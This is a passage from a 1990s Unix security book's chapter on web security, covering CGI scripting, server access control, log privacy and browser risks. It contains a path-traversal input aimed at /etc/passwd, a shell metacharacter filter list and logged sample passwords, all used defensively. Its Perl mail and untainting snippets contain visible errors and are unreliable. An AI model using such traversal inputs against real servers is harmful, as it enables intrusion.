NOTE: Server-side includes should never be enabled for script directories. This is because it is possible that a script will output something that the user has typed, and the Web server will attempt to interpret the output, giving an attacker the ability to include arbitrary files or to execute arbitrary commands.

18.2.3 Writing Secure CGI Scripts and Programs[1]

[1] The difference between programs and scripts is not always simple to discern, and the terms are not used consistently by everyone. We define a program to be code that must be compiled and linked before execution, and a script as a program that is usually interpreted without first being compiled into binary.

Writing a secure CGI script has all of the same problems as writing a secure SUID program or network server, plus many more. That's because there can be unexpected interactions between the Web environment, the Web server and the CGI script, creating problems with the combined system where no problems obviously were present in any single part. Therefore, we recommend that you read Chapter 23 before you embark on writing CGI scripts.

In addition to the information that we describe in that chapter, there are additional issues in writing programs for the World Wide Web.

Most security holes are not intentional. Nonetheless, the more people who have the ability to write scripts on your Web server, the greater the chance that one of those scripts will contain a significant flaw.

  • Do not allow users to place scripts on your server unless a qualified security professional has personally read through the scripts and assured you of their safety.

18.2.3.1 Do not trust the user's browser!

HTML includes the ability to display selection lists, limit the length of fields to a certain number of characters, embed hidden data within forms, and specify variables that should be provided to CGI scripts. Nevertheless, you cannot make your CGI script depend on any of these restrictions. That is because any CGI script can be run by directly requesting the script's URL; attackers do not need to go through your form or use the interface that you provide.

Be especially careful of the following:

  • If you create a selection list, the value that is returned for the input field will not necessarily match the allowable values that you have defined.

  • If you specify a maximum length for a variable, the length of the variable that is provided to your script may be significantly longer. (What would your script do if provided with a username that is 4000 characters long?)

  • Variables that are provided to your script may have names not defined in your script.

  • The values for variables that are provided may contain special characters.

  • The user may view data that is marked as "hidden."

  • If you use cookies or special hidden tags to maintain state on your server, your script may receive cookies or tags that it never created.

Attackers are by definition malicious. They do not follow the rules. Never trust anything that is provided over the network.

18.2.3.2 Testing is not enough!

One of the reasons that it is surprisingly easy to create an unsecure CGI script is that it is very difficult to test your scripts against the wide variety of HTTP clients available. For example, most client programs will "escape," or specially encode, characters such as the backquote (`), which are specially interpreted by the UNIX shell. As a result, many CGI programmers do not expect the unencoded characters to be present in the input stream for their applications, and they do not protect their scripts against the possibility that the characters are present. Nevertheless, it is easy for the characters to be in the input stream, either as the result of a bug in a particular Web browser or, more likely, because a malicious attacker is attempting to subvert your CGI script and gain control of your server.

  • Check all values that are provided to your program for special characters and appropriate length.

By all values, we mean all values. This includes the contents of environment variables, host addresses, host names, URLS, user-supplied data, values chosen from selection lists, and even data that your script has inserted onto a WWW form through the use of the hidden data type.

Consider the case of a CGI script that creates a series of log files for each host that contacts your WWW server. The name of the log file might be the following: logfile/{hostname}. What will this program do if it is contacted by the "host" ../../../../etc/passwd.company.com? Such a script, if improperly constructed, could end up appending a line to a system's /etc/passwd file. This could then be used as a way of creating unauthorized accounts on the system.

  • Beware of system( ), popen ( ), pipes, backquotes (`), and Perl's eval ( ) function.

Many programming languages, including C, ksh, sh, csh, and Perl, provide the means to spawn subprocesses. You should try to avoid using these features when writing CGI scripts. If you must spawn a subprocess, avoid passing through any strings that are provided by the user. If you must pass strings from the user to the subprocess, be sure that it does not pass shell meta characters including the `$|;>*<&> characters.

It is generally better to specify a list of allowable characters than to specify a list of dangerous characters. If you forget to specify an allowable character, there is no real harm done. But if you forget to specify a dangerous character, such as a backquote, you can compromise the security of your entire system.

18.2.3.3 Sending mail

If you are writing a CGI script that allows a user to send mail, use the /usr/lib/sendmail program to send the mail, rather than /bin/mailx or /usr/ucb/mail. The reason is that /usr/lib/sendmail does not have shell escapes, whereas the other mailers do.

Here is a bit of Perl that you can use to send mail securely. It bypasses the shell by using exec ( ) with a fixed string to run /usr/lib/sendmaildirectly:

 open (WRITE, "|-")
|| exec ("usr/lib/sendmail", "-oi," "-t")
|| die "Can't fork$!\n":

print WRITE "To: $address\n";
print WRITE "Subject: $subject\n";
print WRITE "From: $sender\n";
print WRITE "\n$message\n.\n";
close(WRITE);

There are many commands in Perl that will run the shell, possibly without your knowledge. These include system ( ), eval ( ), pipes, backquotes, and, occasionally, exec ( ) (if shell meta characters are present on the command line).

18.2.3.4 Tainting with Perl

If you are using the Perl programming language, you can use Perl's "tainting" facility to track information that has been provided by the user. Perl marks such information as "tainted." The only way to untaint information is to match it using a Perl regular expression, and then to copy out the matched values using Perl's string match variables.

For example, if you have a name that has been provided by the user, you can untaint the value to be sure that it only contains letters, numbers, commas, spaces, and periods by using the following Perl statements:

$tainted_username =~ m/([a-zA-Z. ]*)/;
$untainted_username = $1;

You can use the following to extract an email address:

$tainted_email =~ /([\w-.%]+\@[\w.-]+)/;
$untainted_email = $1;

There are two ways to enable tainting. If you are using Perl 4, you should invoke the taintperl command instead of the Perl command, by placing the following statement (or something similar) at the beginning of your file:

#!/usr/local/bin/taintperl

If you are using Perl version 5, you accomplish the same result by using the -T flag:

#!/usr/local/bin/perl -T

18.2.3.5 Beware stray CGI scripts

Most Web servers can be configured so that all CGI scripts must be confined to a single directory. We recommend this configuration, because it makes it easier for you to find and examine all of the CGI scripts on your system. We do not recommend the practice of allowing any file on the Web server with the extension ".cgi" to be run as a CGI script.

Instead, we recommend that you:

  • Configure your Web server so that all CGI scripts must be placed in a single directory (typically, the directory is called cgi-bin).

  • Use a program such as Tripwire (see Chapter 9, Integrity Management) to monitor for unauthorized changes to these scripts.

  • Allow limited access to this directory and its contents. Local users should not be allowed to install or remove scripts, or to edit existing scripts without administrative review. You also may want to prevent these scripts from being read, to prevent someone from snooping.

  • Remove the backup files that are automatically generated by your editor. Many system administrators use text editors such as Emacs to edit scripts that are in place on the running server. Frequently, this leaves behind backup files, with names such as start~ or create-account~. These backup files can be executed an attacker, usually with unwanted results.

18.2.4 Keep Your Scripts Secret!

Throughout this book, we have railed against the practice of security through obscurity - the practice of basing some of the security of your system upon undocumented aspects. Nevertheless, the fact remains that the ready availability of UNIX source code, as opposed to the relative "obscurity" of the source code for other operating systems such as VMS or Windows/NT, means that potential attackers can search through the operating system looking for avenues of attack, and then craft their attacks in such a way as to guarantee the maximum possible access. One good way to prevent these sorts of attacks is to limit the access to source code.

Because it is so easy to make a mistake when writing a CGI program, it behooves sites to keep your CGI scripts and programs confidential. This does not guarantee security for buggy scripts: a determined attacker can still probe and, frequently, find flaws with your system. However, it does significantly increase the work that is involved. Determined attackers will still get through, but casual attackers may move on to other, more inviting systems.

  • Prevent network users from reading the contents of your CGI scripts. This will help keep an attacker from analyzing the scripts to discover security flaws. This is especially important for scripts that are written inside your organization, and thus might not be subject to the same degree of certification and checking as scripts that are written for publication or redistribution.

18.2.4.1 Beware mixing HTTP with anonymous FTP

Many sites use the same directory for storing documents that are accessed through anonymous FTP and the World Wide Web. For example, you may have a directory called /NetDocs on your server that is both the home directory of the FTP user and the root directory of your Web server. This would allow files to be referred to by two URLS, such as http://server.com/nosmis/myfile.html or ftp://server.com/nosmis/myfile.html.

The primary advantage of HTTP over FTP is speed and efficiency. HTTP is optimized for anonymous access from a stateless server. FTP, on the other hand, had anonymous access added as an afterthought, and requires that the server maintain a significant amount of state for the client

Mixing HTTP and FTP directories poses a variety of security issues, including:

  • Allowing anonymous FTP access to the HTTP directories gives users a means of bypassing any restrictions on document access that the Web server may be providing. Thus, if you have confidential documents stored on your Web server, they may not remain confidential for long with this arrangement.

  • If an attacker can download your CGI scripts with FTP, he can search them for avenues for attack.

  • You must be very sure that there is no way for an FTP user to upload a script that will be run on your server.

  • The /etc/passwd file present for your FTP service might be visible to someone using the WWW service, thus leading to a compromise of its contents. If you have included any real passwords in that file, they will be available to the client for remote password cracking.

18.2.5 Other Issues

There are many other measures that you can take to make your server more secure. For example, you can limit the use of the computer so that it is solely a Web server. This will make it harder for an attacker to break in to your server and, if an attacker does, it will limit the amount of damage that he can do to the rest of your network.

If you do chose to make your server a stand-alone computer, read over Chapter 21, Firewalls, for a list of techniques that you can use to isolate your computer from your network and make the computer difficult for an attacker to use. In particular, you may wish to consider the following options:

  • Delete all unnecessary accounts.

  • Do not NFS mount or export any directories.

  • Delete all compilers.

  • Delete all utility programs that are not used during boot or by the Web server.

  • Provide as few network services as possible.

  • Do not run a mail server.

Another option, but one that may require a non-trivial amount of work, is to place your WWW server and all files in a separate directory structure. The WWW server is then wrapped with a small program that does a chroot ( ) to the directory (see Chapter 22, Wrappers and Proxies). Thus, if some way is found to break out of the controls you have placed on the server, the regular filesystem is hidden and protected from attack. Some WWW servers may have this approach included as an install-time option, so check the documentation.

Previous: 18.1 Security and the World Wide Web | Practical UNIX & Internet Security | Next: 18.3 Controlling Access to Files on Your Server
18.1 Security and the World Wide Web | Book Index | 18.3 Controlling Access to Files on Your Server


[Chapter 18] 18.3 Controlling Access to Files on Your Server

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.2 Running a Secure Server Chapter 18
WWW Security 		Next: 18.4 Avoiding the Risks of Eavesdropping

18.3 Controlling Access to Files on Your Server

Many sites are interested in limiting the scope of the information that they distribute with their Web servers. This may be because a Web server is used by an organization to distribute both internal data, such as employee handbooks or phone books, and external data, such as how to reach the organization's headquarters by mass transit. To provide for this requirement, many Web servers have a system for restricting access to Web documents.

The WN Server

Most of this chapter discusses the NCSA and CERN servers, which are two of the most popular servers in use on the Internet at this time. A server that appears to offer considerably more security than these servers is the WN server, developed by John Franks.

The WN server is a Web server designed from the ground up to provide security and flexibility. The server can perform many functions, such as banners, footers, and searching, and the selective retrieval of portions of documents, which can only be performed on other servers using CGI scripts. The server is also smaller than the NCSA and CERN servers, making it easier to validate.

Another feature of the WN server is that it will not transfer any file in any directory unless that file is listed in a special index file, normally called index.cache. The index file also contains the MIME file type of each file in the directory; thus, WN eliminates the need to give your Web files extensions, such as filename.html or picture.jpeg. Automated tools are provided for creating these files, if you chose to use them.

We do not have significant experience with the WN server, but its design looks promising. For more information, check http://hopf.math.nwu.edu/docs/manual.html.

Most servers support two primary techniques for controlling access to files and directories:

  1. Restricting access to particular IP addresses, subnets, or DNS domains.

  2. Restricting access to particular users. Users are authenticated through the use of a password that is stored on the server.

Servers that are equipped with the necessary software for public key cryptography (usually, servers that are purchased for commercial purposes) have a third technique for restricting access:

  1. Restricting access to users who present public keys that are signed by an appropriate certification authority.

Each of these techniques has advantages and disadvantages. Restricting to IP address is relatively simple within an organization, although it leaves you open to attacks based on "IP spoofing." Using hostnames, instead of IP addresses, further opens your server to the risk of DNS spoofing. And usernames and passwords, unless you use a server and clients that support encryption, are sent in the clear over the network.

Of these three techniques, restricting access to people who present properly signed certificates is probably the most secure, provided that you trust your certification authority. (See below.)

18.3.1 The access.conf and .htaccess Files

The NCSA server allows you to place all of your global access restrictions in a single file called conf/access.conf. Alternatively, you can place the restrictions in each directory using the name specified by the AccessFileName in the configuration file conf/srm.conf. The per-directory default file name is .htaccess, but you can change this name if you wish.

Whether you choose to use many access files or a single file is up to you. It is certainly more convenient to have a file in each directory. It also makes it easier to move directories within your Web server, as you do not need to update the master access control file. Furthermore, you do not need to restart your server whenever you make a change to the access control list - the server will notice that there is a new .htaccess file, and behave appropriately.

On the other hand, having an access file in each directory means that there are more files that you need to check to see whether the directories are protected or not. There is also a bug with some Web servers that allows the access file to be directly fetched (see the Note below). As a result, most Web professionals recommend against per-directory access control files.

The contents of the access.conf file looks like HTML. Accesses for each directory are bracketed with two tags, <Directory directoryname> and </Directory>. For example:

<Directory /nsa/manual>
<Limit GET>
order deny,allow
deny from all
allow from .nsa.mil
</Limit>
</Directory>

If you are using the per-directory access control, do not include the <Directory> and </Directory> tags. For example:

<Limit GET>
order deny,allow
deny from all
allow from .nsa.mil
</Limit>

NOTE: There is a bug in many Web servers (including the NCSA server) that allows the .htaccess file to be fetched as a URL. This is bad, because it lets an attacker learn the details of your authentication system. For this reason, if you do use per-directory access control files, give them a name other than .htaccess by specifying a different AccessFileName in the srm.conf file, as shown below:

# AccessFileName: The name of the file to look for in each directory
# for access control information.

AccessFileName .ap

18.3.2 Commands Within the <Directory> Block

As the above examples illustrate, a number of commands are allowed within the <Directory> blocks. The commands that are useful for restricting access[2] are:

[2] Other commands that can be inserted within a <Directory> block can be found in NCSA's online documentation at http://hoohoo.ncsa.uiuc.edu/docs/setup/access/Overview.html.

Options opt1 opt2 opt3

Use the Options command for turning on or off individual options within a particular directory. Options available are FollowSymLinks (follows symbolic links), SymLinksIfOwnerMatch (follows symbolic links if the owner of the link's target is the same as the owner of the link), ExecCGI (turns on execution of CGI scripts), Includes (turns on server-side includes), Index (allows the server to respond to requests to generate a file list for the directory), and IncludesNoExec (enables server-side includes, but disables CGI scripts in the includes.)

AllowOverride what

Specifies which directives can be overridden with directory-based access files.

AuthRealm realm

Sets the name of the Authorization Realm for the directory. The name of the realm is displayed by the Web browser when it asks for a username and password.

AuthType type

Specifies the type of authentication used by the server. When this book was written, NCSA's httpd only supported the Basic authentication system (usernames and passwords.)

AuthUserFile absolute_pathname

Specifies the pathname of the httpd password file. This password file is created and maintained with the NCSA htpasswd program. This password file is not stored in the same format as /etc/passwd. The format is described in the section called "Setting up Web Users and Passwords" later in this chapter.

AuthGroupFile absolute_pathname

This specifies the pathname of the httpd group file. This group file is a regular text file. It is not in the format of the UNIX /etc/group file. Instead, each line begins with a group name and a colon, and then lists the members, separating each member with a space. For example:

        stooges: larry moe curley
Limit methods to limit

Begins a section that lists the limitations on the directory. In Version 1.42, this command can only be used to limit the GET and POST directives. Within the Limit section, you may have the following directives:

Directive Usage | Meaning
order ord | Specifies the order in which allow and deny statements should be checked. Specify "deny,allow" to check the deny entries first; servers that match both the "deny" and "allow" lists are allowed. Specify "allow,deny" to check the allow entries first; servers that match both are denied. Specify "mutual-failure" to cause hosts on the allow list to be allowed, those on the deny list to be denied, and all others to be denied.
allow from host1 host2 | Specifies hosts that are allowed access.
deny from host1 host2 | Specifies hosts that should be denied access.
require user user1 user2 user3... require group group1 group2... require valid-user | Specifies that access should be granted to a specific user or group. If "valid-user" is specified, then any user that appears in the user file will be allowed.

Hosts in the allow and deny statements may be any of the following:

  • A domain name, such as .vineyard.net.

  • A fully qualified host name, such as nc.vineyard.net.

  • An IP address, such as 204.17.195.100.

  • A partial IP address, such as 204.17.195, which matches any host on the subnet.

  • The keyword "all," which matches all hosts.

18.3.2.1 Examples

For example, if you wish to restrict access to a directory's files to everyone on the subnet 204.17.195.*, you could add the following lines to your access.conf file:

<Directory /usr/local/etc/httpd/htdocs/special>
<Limit GET POST>
order deny,allow
deny from all
allow from 204.17.195
</Limit>
</Directory>

If you then wanted to allow only the authenticated users beth and simson to access the files, and only when they are on subnet 204.17.195, you could add these lines:

AuthType Basic
AuthName The-T-Directory
AuthUserFile /tmp/auth
<Limit GET POST>
order deny,allow
deny from all
allow from 204.17.195
require user simson beth
</Limit>

Of course, the first three lines could as easily go in the server's access.conf file.

If you wish to allow the users beth and simson to access the files from anywhere on the Internet, provided that they type the correct username and password, try this:

AuthType Basic
AuthName The-T-Directory
AuthUserFile /tmp/auth
<Limit GET POST>
require user simson beth
</Limit>

18.3.3 Setting Up Web Users and Passwords

To use authenticated users, you will need to create a password file. You can do this with the htpasswd program, using the -c option to create the file. For example:

# ./htpasswd -c /usr/local/etc/httpd/pw/auth simsong
Adding password for simsong.
New password:foo1234
Re-type new password:foo1234
#

You can add additional users and passwords with the htpasswd program. When you add additional users, do not use the -c option, or you will erase all of the users who are currently in the file:

# ./htpasswd /usr/local/etc/httpd/pw/auth beth
Adding password for beth.
New password:luvsim
Re-type new password:luvsim
#

The password file is similar, but not identical, to the standard /etc/passwd file:

# cat /usr/local/etc/httpd/pw/auth
simsong:ZdZ2f8MOeVcNY
beth:ukJTIFYWHKwtA
#

Because the Web server uses crypt ( )-style passwords, it is important that the password file be inaccessible to normal users on the server (and to users over the Web) to prevent an ambitious attacker from trying to guess passwords using a program such as Crack.

Previous: 18.2 Running a Secure Server | Practical UNIX & Internet Security | Next: 18.4 Avoiding the Risks of Eavesdropping
18.2 Running a Secure Server | Book Index | 18.4 Avoiding the Risks of Eavesdropping


[Chapter 18] 18.4 Avoiding the Risks of Eavesdropping

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.3 Controlling Access to Files on Your Server Chapter 18
WWW Security 		Next: 18.5 Risks of Web Browsers

18.4 Avoiding the Risks of Eavesdropping

The risks of eavesdropping affect all Internet protocols, but are of particular concern on the World Wide Web, where sensitive documents and other kinds of information, such as credit card numbers, may be transmitted. There are only two ways to protect information from eavesdropping. The first is to assure that the information travels over a physically secure network (which the Internet is not). The second is to encrypt the information so that it can only be decrypted by the intended recipient.

Another form of eavesdropping that is possible is traffic analysis. In this type of eavesdropping, an attacker learns about the transactions performed by a target, without actually learning the content. As we will see below, the log files kept by Web servers are particularly vulnerable to this type of attack.

18.4.1 Eavesdropping Over the Wire

Information sent over the Internet must be encrypted to be protected from eavesdropping. There are four ways in which information sent by the Web can be encrypted:

  1. Link encryption. The long-haul telephone lines that are used to carry the IP packets can be encrypted. Organizations can also use encrypting routers to automatically encrypt information sent over the Internet that is destined for another office. Link encryption provides for the encryption of all traffic, but it can only be performed with prior arrangement. Link encryption has traditionally been very expensive, but new generations of routers and firewalls are being produced that incorporate this feature.

  2. Document encryption. The documents that are placed on the Web server can be encrypted with a system such as PGP. Although this encryption provides for effective privacy protection, it is cumbersome because it requires the documents to be specially encrypted before they are placed on the server and they must be specially decrypted when they are received.

  3. SSL (Secure Socket Layer). SSL is a system designed by Netscape Communications that provides an encrypted TCP/IP pathway between two hosts on the Internet. SSL can be used to encrypt any TCP/IP protocol, such as HTTP, TELNET, or FTP.

    SSL can use a variety of public-key and token-based systems for exchanging a session key. Once a session key is exchanged, it can use a variety of secret key algorithms. Currently, programs that use SSL that are distributed for anonymous FTP on the Internet and that are sold to international markets are restricted to using a 40-bit key, which should not be considered secure.

    A complete description of the SSL protocol can be found at the site http://home.netscape.com/newsref/std/SSL.html.

  4. SHTTP (Secure HTTP). Secure HTTP is an encryption system for HTTP designed by Commerce Net. SHTTP only works with HTTP.

    A complete description of the SHTTP protocol can be found at http://www.eit.com/projects/s-http/.

It is widely believed that most commercial Web servers that seek to use encryption will use either SSL or SHTTP. Unlike the other options above, both SSL and SHTTP require special software to be running on both the Web server and in the Web browser. This software will likely be in most commercial Web browsers within a few months after this book is published, although it may not be widespread in freely available browsers until the patents on public key cryptography expire within the coming years.

When using an encrypted protocol, your security depends on several issues:

  • The strength of the encryption algorithm

  • The length of the encryption key

  • The secrecy of the encryption key

  • The reliability of the underlying software that is running on the Web server

  • The reliability of the underlying software that is running on the Web client

During the summer of 1995, a variety of articles were published describing failures of the encryption system used by the Netscape Navigator. In the first case, a researcher in France was able to break the encryption key used on a single message by using a network of workstations and two supercomputers. The message had been encrypted with the international version of the Netscape Navigator using a 40-bit RC4 key. In the second case, a group of students at the University of California at Berkeley discovered a flaw in the random number generator used by the UNIX-based version of Navigator. [3] In the third case, the same group of students at Berkeley discovered a way to alter the binaries of the Navigator program as they traveled between the university's NFS server and the client workstation on which the program was actually running.[4]

[3] The random number generator was seeded with a number that depended on the current time and the process number of the Navigator process.

[4] The students pointed out that while they attacked the Navigator's binaries as it was moving from the server computer to the client, they could have as easily have attacked the program as it was being downloaded from an FTP site.

All of these attacks are highly sophisticated. Nevertheless, most of them do not seem to be having an impact on the commercial development of the Web. It is likely that within a few years the encryption keys will be lengthened to 64 bits. Netscape has improved the process by which its Navigator program seeds its random number generator. The third problem, of binaries being surreptitiously altered, will likely not be a problem for most users with improved software distribution systems that themselves use encryption and digital signatures.

18.4.2 Eavesdropping Through Log Files

Most Web servers create log files that record considerable information about each request. These log files grow without limit until they are automatically trimmed or until they fill up the computer's hard disk (usually resulting in a loss of service). By examining these files, it is possible to infer a great deal about the people who are using the Web server.

For example, the NCSA httpd server maintains the following log files in its logs/ directory:

access_log

A list of the individual accesses to the server.

agent_log

A list of the programs that have been used to access the server.

error_log

A list of the errors that the server has experienced, whether generated by the server itself or by your CGI scripts. (Anything that a script prints to Standard Error is appended into this file.)

refer_log

This log file contains entries that include the URL that the browser previously visited and the URL that it is currently viewing.

By examining the information in these log files, you can create a very comprehensive picture of the people who are accessing a Web server, the information that they are viewing, and where they have previously been.

In Chapter 10, Auditing and Logging, we describe the fields that are stored in the access_log file. Here they are again:

  • The name of the remote computer that initiated the transfer

  • The remote login name, if it was supplied, or "-" if not supplied

  • The remote username, if supplied, or "-" if not supplied

  • The time that the transfer was initiated (day of month, month, year, hour, minute, second, and time zone offset)

  • The HTTP command that was executed (can be GET for receiving files, POST for processing forms, or HEAD for viewing the MIME header)

  • The status code that was returned

  • The number of bytes that were transferred

Here are a few lines from an access_log file:

koriel.sun.com - - [06/Dec/1995:18:44:01 -0500] "GET /simson/resume.html HTTP/1.0" 200 8952
lawsta11.oitlabs.unc.edu - - [06/Dec/1995:18:47:14 -0500] "GET /simson/ HTTP/1.0" 200 2749
lawsta11.oitlabs.unc.edu - - [06/Dec/1995:18:47:15 -0500] "GET /icons/back.gif HTTP/1.0" 200 354
lawsta11.oitlabs.unc.edu - - [06/Dec/1995:18:47:16 -0500] "GET  /cgi-bin/counter?file=simson HTTP/1.0" 200 545
piweba1y-ext.prodigy.com - - [06/Dec/1995:18:52:30 -0500] "GET /vineyard/history/" HTTP/1.0" 404 -

As you can tell, there is a wealth of information here. Apparently, some user at Sun Microsystems is interested in Simson's resume. A user at the University of North Carolina also seems interested in Simson. And a Prodigy user appears to want information about the history of Martha's Vineyard.

None of these entries in the log file contain the username of the person conducting the Web request. But they may still be used to identify individuals. It's highly likely that koreil.sun.com is a single SPARCstation sitting on a single employee's desk at Sun. We don't know what lawsta11.otilabs.unc.edu is, but we suspect that it is a single machine in a library. Many organizations now give distinct IP addresses to individual users for use with their PCs, or for dial-in with PPP or SLIP. Without the use of a proxy server such as SOCKS (see Chapter 22) or systems that rewrite IP addresses, Web server log files reveal those addresses.

And there is more information to be "mined" as well. Consider the following entries from the refer_log file:

http://www2.infoseek.com/NS/Titles?qt=unix-hater -> /unix-haters.html
http://www.intersex.com/main/ezines.html -> /awa/
http://www.jaxnet.com/~jdcarr/places.html -> /vineyard/ferry.tiny.gif

In the first line, it's clear that a search on the InfoSeek server for the string "unixhater" turned up the Web file /unix-haters.html on the current server. This is an indication that the user was surfing the Web looking for material having to deal with UNIX. In the second line, a person who had been browsing the InterSex WWW server looking for information about electronic magazines followed a link to the /awa/ directory. This possibly indicates that the user is interested in content of a sexually oriented nature. In the last example, apparently a user, jdcarr@jaxnet.com, has embedded a link in his or her places.html file to a GIF file of the Martha's Vineyard ferry. This indicates that jdcarr is taking advantage of other people's network servers and Internet connections.

By themselves, these references can be amusing. But they can also be potentially important. Lincoln Stein and Bob Bagwill note in the World Wide Web Security FAQ that a referral such as this one could indicate that a person is planning a corporate takeover:

file://prez.xyz.com/hotlists/stocks2sellshort.html ->http://www.xyz.com

The information in the refer_log can also be combined with information in the access_log to determine the names of the people (or at least their computers) who are following these links. Version 1.5 of the NCSA httpd Web server even has an option to store referrals in the access log.

The access_log file contains the name of the complete URL that is provided. For Web forms that use the GET method instead of the POST method, all of the arguments are included in the URL, and thus all of them end up in the access_log file.

Consider the following:

asy2.vineyard.net - - [06/Oct/1995:19:04:37 -0400] "GET /cgi-bin/vni/useracct?username=bbennett&password=leonlikesfood&cun=jayd&fun=jay+Desmond&pun=766WYRCI&add1=box+634&add2=&city=Gay+Head&state=MA&zip=02535&phone=693-9766&choice=ReallyCreateUser HTTP/1.0" 200 292

Or even this one:

mac.vineyard.net - - [07/Oct/1995:03:04:30 -0400] "GET /cgi-bin/change-password?username=bbennett&oldpassword=dearth&newpassword=flabby3 HTTP/1.0" 200 400

This is one reason why you should use the POST method in preference to the GET method!

Finally, consider what can be learned from agent_log. Here are a few sample lines:

NCSA_Mosaic/2.6 (X11;HP-UX A.09.05 9000/720)  libwww/2.12 modified  via proxy gateway  CERN-HTTPD/3.0 libwww/2.17
NCSA_Mosaic/2.6 (X11;HP-UX A.09.05 9000/720)  libwww/2.12 modified  via proxy gateway  CERN-HTTPD/3.0 libwww/2.17
Proxy gateway CERN-HTTPD/3.0 libwww/2.17
Mozilla/1.1N (X11; I; OSF1 V3.0 alpha)  via proxy gateway  CERN-HTTPD/3.0 libwww/2.17
Mozilla/1.2b1 (Windows; I; 16bit)

In addition to the name of the Web browser that is being used, this file reveals information about the structure of an organization's firewall. It also reveals the use of beta software within an organization.

Some servers allow you to restrict the amount of information that is logged. If you do not require information to be logged, you may wish to suppress the logging.

In summary, users of the Web should be informed that their actions are being monitored. As many firms wish to use this information for marketing, it is quite likely that the amount of information that Web browsers provide to servers will, rather than decrease, increase in the future.

Previous: 18.3 Controlling Access to Files on Your Server | Practical UNIX & Internet Security | Next: 18.5 Risks of Web Browsers
18.3 Controlling Access to Files on Your Server | Book Index | 18.5 Risks of Web Browsers


[Chapter 18] 18.5 Risks of Web Browsers

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.4 Avoiding the Risks of Eavesdropping Chapter 18
WWW Security 		Next: 18.6 Dependence on Third Parties

18.5 Risks of Web Browsers

In addition to the threat of monitoring discussed earlier in this chapter, Web browsers themselves raise a number of security issues.

18.5.1 Executing Code from the Net

Most Web browsers can be configured so that certain "helper" applications are automatically run when files of particular type are downloaded from the net. Although this is a good way to provide extensibility, you should not configure your Web browser so that programs downloaded from the net are automatically executed. Doing so poses a profound risk, because it provides a way for outsiders to run programs on your computer without your explicit permission. (For example, a program could be embedded in an HTML page as an included "image.")

In particular:

  • Do not configure /bin/csh as a viewer for documents of type application/x-csh. (The same is true with other shells.)

  • Do not configure your Web browser to automatically run spreadsheets or word processors, because most spreadsheets and word processors these days have the ability to embed executable code within their files. We have already seen several reported viruses that use Microsoft Word macros to spread.

The exception to these hard and fast rules may be the Java programming language. The creators of Java have gone to great lengths to make sure that a program written in Java cannot harm the computer on which it is running. Whether or not the creators are correct remains to be seen. However, we have our doubts based on past experiences with complex software. As this book goes to press, there is no indication that Java has any significant protections against denial of service attacks. Also, as this book goes to press, several serious security bugs in Sun's and Netscape's implementations of Java have been reported.

18.5.2 Trusting Your Software Vendor

Most users run Web browsers that are provided by third parties with whom the user has no formal relationship or signed contract. Instead, users are asked to click buttons that say "ACCEPT" to signify their acceptance of the terms of a non-negotiable license agreement. These license agreements limit the liability of the companies that distribute the software.

Individuals and organizations using such software should carefully read the license agreements. They rarely do. In particular, consider these two clauses in the Netscape Navigator 2.02b license. Interestingly, these are the only two paragraphs of the Netscape license agreement that are in all capital letters. They must be important

2. NETSCAPE MAKES NO REPRESENTATIONS ABOUT THE SUITABILITY OF THIS SOFTWARE OR ABOUT ANY CONTENT OR INFORMATION MADE ACCESSIBLE BY THE SOFTWARE, FOR ANY PURPOSE. THE SOFTWARE IS PROVIDED "AS IS" WITHOUT EXPRESS OR IMPLIED WARRANTIES, INCLUDING WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. THIS SOFTWARE IS PROVIDED GRATUITOUSLY AND, ACCORDINGLY, NETSCAPE SHALL NOT BE LIABLE UNDER ANY THEORY FOR ANY DAMAGES SUFFERED BY YOU OR ANY USER OF THE SOFTWARE. NETSCAPE WILL NOT SUPPORT THIS SOFTWARE AND WILL NOT ISSUE UPDATES TO THIS SOFTWARE.

9. NETSCAPE OR ITS SUPPLIERS SHALL NOT BE LIABLE FOR (a) INCIDENTAL, CONSEQUENTIAL, SPECIAL OR INDIRECT DAMAGES OF ANY SORT, WHETHER ARISING IN TORT, CONTRACT OR OTHERWISE, EVEN IF NETSCAPE HAS BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES, OR (b) FOR ANY CLAIM BY ANY OTHER PARTY. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. FURTHERMORE, SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION AND EXCLUSION MAY NOT APPLY TO YOU.

What these paragraphs mean is that Netscape Communications disclaims any liability for anything that its Navigator software might do.[5] This means that the Navigator could scan your computer's disks for interesting information and send it, encrypted, to a Netscape Commerce Server, when it is sent an appropriate command. We don't think that Navigator actually has this code compiled into it, but we don't know, because Netscape has not published the source code for either its Navigator or Commerce Server. (Netscape is not alone in keeping its source code secret.)

[5] We don't mean to pick on Netscape here. Other software comes with similar license agreements. Netscape is used merely as an illustrative example because of its popularity when this book was being written.

We do know, however, that users have reported some security lapses in 2.0beta Navigator having to do with Netscape's Live Script, renamed Java Script, programming language. A feature in a beta version of the browser allowed any server to query the Web browser for the list of URLS that had been visited by the user.[6] As URLS can contain passwords, this posed serious security issues. Although this feature has been taken out of Navigator, it is possible that it could be reintroduced in the future through the use of a programming language such as Java.

[6] This was reported by Scott Weston on the comp.privacy Usenet newsgroup on December 1, 1995.

Indeed, programming languages such as Java create a whole new layer of security issues. Java is a programming language that is designed to allow the downloading of applications over the World Wide Web. Java is designed to be secure: the programs are run on a virtual machine, and they are not run unless they are approved by a "verifier" on the Web browser. In the initial implementation of Java for Web browsers, programs written in Java are permitted to access the network or to touch the user's filesystem, but not both. Programs that can touch the filesystem are permitted to read any file, but only to write in a specially predetermined directory.

Unfortunately, Java's current security model is rather restrictive, and it is therefore quite likely that users will demand a more open model that gives Java programs more access to a user's filesystems and the network. This will probably produce a new round of security problems.

Previous: 18.4 Avoiding the Risks of Eavesdropping | Practical UNIX & Internet Security | Next: 18.6 Dependence on Third Parties
18.4 Avoiding the Risks of Eavesdropping | Book Index | 18.6 Dependence on Third Parties


[Chapter 18] 18.6 Dependence on Third Parties

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.5 Risks of Web Browsers Chapter 18
